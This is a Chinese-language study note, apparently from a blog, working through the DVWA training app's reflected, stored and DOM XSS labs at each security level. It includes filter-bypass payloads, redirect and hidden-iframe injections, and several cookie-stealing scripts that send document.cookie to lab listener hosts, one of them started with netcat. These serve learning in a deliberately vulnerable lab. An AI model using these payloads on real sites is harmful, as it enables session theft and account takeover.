DVWA-XSS学习笔记
DVWA-XSS
XSS概念:由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS类型:
反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。
存储型XSS:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。
DOM型XSS:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。
XSS的应用场景:1.利用xss获得cookie,2.重定向,3.钓鱼网站,4.DDOS
一、反射型XSS
反射型XSS原理
(一)将DVWA的级别设置为low
1.1查看源代码,可以看到没有对参数做任何防御处理措施,直接输出
1.2尝试一般的XSS攻击
<script>alert(‘xss’)</script>
<body onload=alert('xss2')>
<a href='' onclick=alert('xss3')>click1</a> #点击click1时弹出xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src地址错误,然后执行onerror的内容
重定向:
<script>window.location='http://www.163.com'</script>
<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
获取cookie
1.<script>alert(document.cookie)</script>
2.<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.1在192.168.10.141上开启监听
Nc -nvlp 80
2.2在DVWA中输入如下内容
<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.3此时可以在192.168.10.141的主机上获得DVWA的cookie信息
2.4加载远程的js脚本
2.4.1在远端服务器上制作一个js脚本
2.4.2搭建站点,把js脚本放入到站点中,开启web服务
/etc/init.d/apache2 start
2.4.3在js脚本中的192.168.10.141主机上开启监听,
2.4.4在DVWA中输入如下内容
<script src='http://192.168.10.141/getcookie.js'></script>
2.4.5在192.168.10.141查看js脚本实现的结果
(二)将DVWA的级别设置为medium
1.分析源码,可以看到使用str_replace函数只对参数进行了简单的替换,过滤<script>,别的没有过滤,此时可以用大小写或者别的标签来绕过
2.绕过DVWA medium防御
2.1大小写绕过
<Script>alert('xxx')</script>
2.2组合过滤条件绕过
<scr<script>ipt>alert('sss')</script>
2.3尝试使用别的标签来绕过
<body onload=alert('s')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
#<script>alert('xx')</script>
(三)将DVWA的级别设置为High
1.分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
2. 尝试使用别的标签来绕过
<body onload=alert('s')>
<img src="" onerror=alert('xss')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
(四)将DVWA的级别设置为Impossible
1.分析源码,可以看到使用htmlspecialchars函数对参数进行html实体转义,此时就无法利用XSS漏洞了
二、存储型XSS
存储型XSS攻击原理图:
(一)将DVWA的级别设置为low
1.分析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后$message使用mysql_real_escape_string函数转义SQL语句中的特殊字符,使用s
tripslashes函数过滤掉”\”,对$name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符
2.从上面的代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞
尝试一般的XSS攻击
在message栏中测试:
<script>alert('x')</script>
<body onload=alert('sss')>
<a href=http://www.baidu.com>clock</a>
<a href='' onclick=alert('xss')>click</a>
重定向:
<script>window.location=’http://www.baidu.com’</script>
<script>window.location=’http://192.168.10.141’</script>
<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>
获取cookie:
<script>alert(document.cookie)</script>
<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>
1.在DVWA message栏中设置字节长度,输入<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>,然后再kali中开启监听,下图可可以看到获取到DVWA中的cookie信息
2.换一个浏览器访问192.168.10.130/DVWA中存储型XSS,下图可以看到成功获得cookie信息
3.加载远端服务器的js脚本
制作一个js脚本
把js脚本放到web站点中,开启web服务
在DVWA栏中输入<script src=http://192.168.10.143/getcookie.js></script>
在192.168.10.143主机上开启监听,当有用户访问DVWA中存储型xss页面时,就会把cookie信息发送到192.168.10.143主机上
4.修改长度的大小就可以绕过长度的限制了
(二)将DVWA的级别设置为Medium
1.分析源代码,可以看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过
2.绕过DVWA medium级别
<Script>alert('x')</script>
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
(三)将DVWA的级别设置为High
1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过
2.绕过
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
(四)将DVWA的级别设置为Impossible
1.分析源码可以看到,对两个参数都做了html实体转义,无法利用xss
三、DOM型XSS
文本对象模型
可储存型,可反射型,取决于输出地点
<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
1.在DVWA中反射型xss中输入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
2.在192.168.10.143主机上开启监听,可以看到
3.在DVWA中存储型xss中输入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
4. 在192.168.10.143主机上开启监听,可以看到
DVWA-XSS学习笔记的更多相关文章
- XSS学习笔记(四)-漏洞利用全过程
<script type="text/javascript" reload="1">setTimeout("window.location ...
- XSS学习笔记(一个)-点击劫持
所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...
- XSS学习笔记(五)-XSS防御
如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...
- 【转载】XSS学习笔记
XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...
- XSS学习笔记
本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结 常见的XSS攻击主要用于1.网络钓鱼,盗用用户账号2.窃取cookies 非httponly情况下,读取docume ...
- 2019-11-20:xss学习笔记
xxe漏洞防御使用开发语言提供的禁用外部实体的方法phplibxml_disable_entity_loader(true); 卢兰奇对象模型,bom由于现代浏览器实现了js交互性方面的相同方法和属性 ...
- xss学习笔记(萌新版)
xss简介 xss攻击者构造恶意信息然后在用户的浏览器上执行,主要分为反射性xss,这种主要是某个页面存在有漏洞的参数,然后填上恶意参数把整个链接发给用户或者管理员,他们点击了带有恶意参数的链接就会执 ...
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- Web For Pentester 学习笔记 - XSS篇
XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...
- DVWA-CSRF学习笔记
DVWA-CSRF学习笔记 一.CSRF(跨站请求伪造) CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie.session会话等),诱骗其点击恶意链接或者访问包含攻击代码的 ...
随机推荐
- Dynamics 365中自定义工作流活动更新了输入输出参数后获取的方法
关注本人微信和易信公众号: 微软动态CRM专家罗勇 ,回复245或者20170309可方便获取本文,同时可以在第一间得到我发布的最新的博文信息,follow me!我的网站是 www.luoyong. ...
- 海思Hi3559A/CV100 DDR4驱动配置手册
Hi3559AV100 DDR4 驱动配置说明 1.1 Hi3559AV100 DDR4 CLK/AC 驱动配置方法 寄存器地址 DDR PHY0:0x1206d0bc DDR PHY1:0x1206 ...
- Cesium3DTileset示例
3D Tiles是Cesium中很核心的一部分,尤其是用来实现大范围的模型场景数据的加载应用. 三维倾斜模型.人工建模.BIM模型等等,都可以转换成3D Tiles,进而为我们所用. 从Cesium1 ...
- softmax函数详解
答案来自专栏:机器学习算法与自然语言处理 详解softmax函数以及相关求导过程 这几天学习了一下softmax激活函数,以及它的梯度求导过程,整理一下便于分享和交流. softmax函数 softm ...
- JDK中的Atomic包中的类及使用
引言 Java从JDK1.5开始提供了java.util.concurrent.atomic包,方便程序员在多线程环境下,无锁的进行原子操作.原子变量的底层使用了处理器提供的原子指令,但是不同的CPU ...
- Hadoop系列005-Hadoop运行模式(下)
本人微信公众号,欢迎扫码关注! Hadoop运行模式(下) 2.3.完全分布式部署Hadoop 1)分析: 1)准备3台客户机(关闭防火墙.静态ip.主机名称) 2)安装jdk 3)配置环境变量 4) ...
- 小白学习Python之路---开发环境的搭建
本节内容 1.Python的介绍 2.发展史 3.安装Python 4.搭建开发环境 5.Hello World程序 一.Python的介绍 Python的创始人为荷兰人吉多·范罗苏姆(Guido v ...
- 知识小罐头07(tomcat8请求源码分析 下)
感觉最近想偷懒了,哎,强迫自己也要写点东西,偷懒可是会上瘾的,嘿嘿!一有写博客的想法要赶紧行动起来,养成良好的习惯. ok,继续上一篇所说的一些东西,上一篇说到Connector包装了那两个对象,最后 ...
- MySQL 数据库设计总结
本文由云+社区发表 作者:漆洪凯 规则1:一般情况可以选择MyISAM存储引擎,如果需要事务支持必须使用InnoDB存储引擎. 注意:MyISAM存储引擎 B-tree索引有一个很大的限制:参与一个索 ...
- 【设计模式+原型理解】第一章:使用Javascript来巧妙实现经典的设计模式
刚开始学习设计模式之前,我是没想说要学习设计模式的,我只是因为想学习JS中的原型prototype知识,一开始我想JS中为什么要存在原型这个东西?于是慢慢通过原型而接触到设计模式,后来发现我这个过程是 ...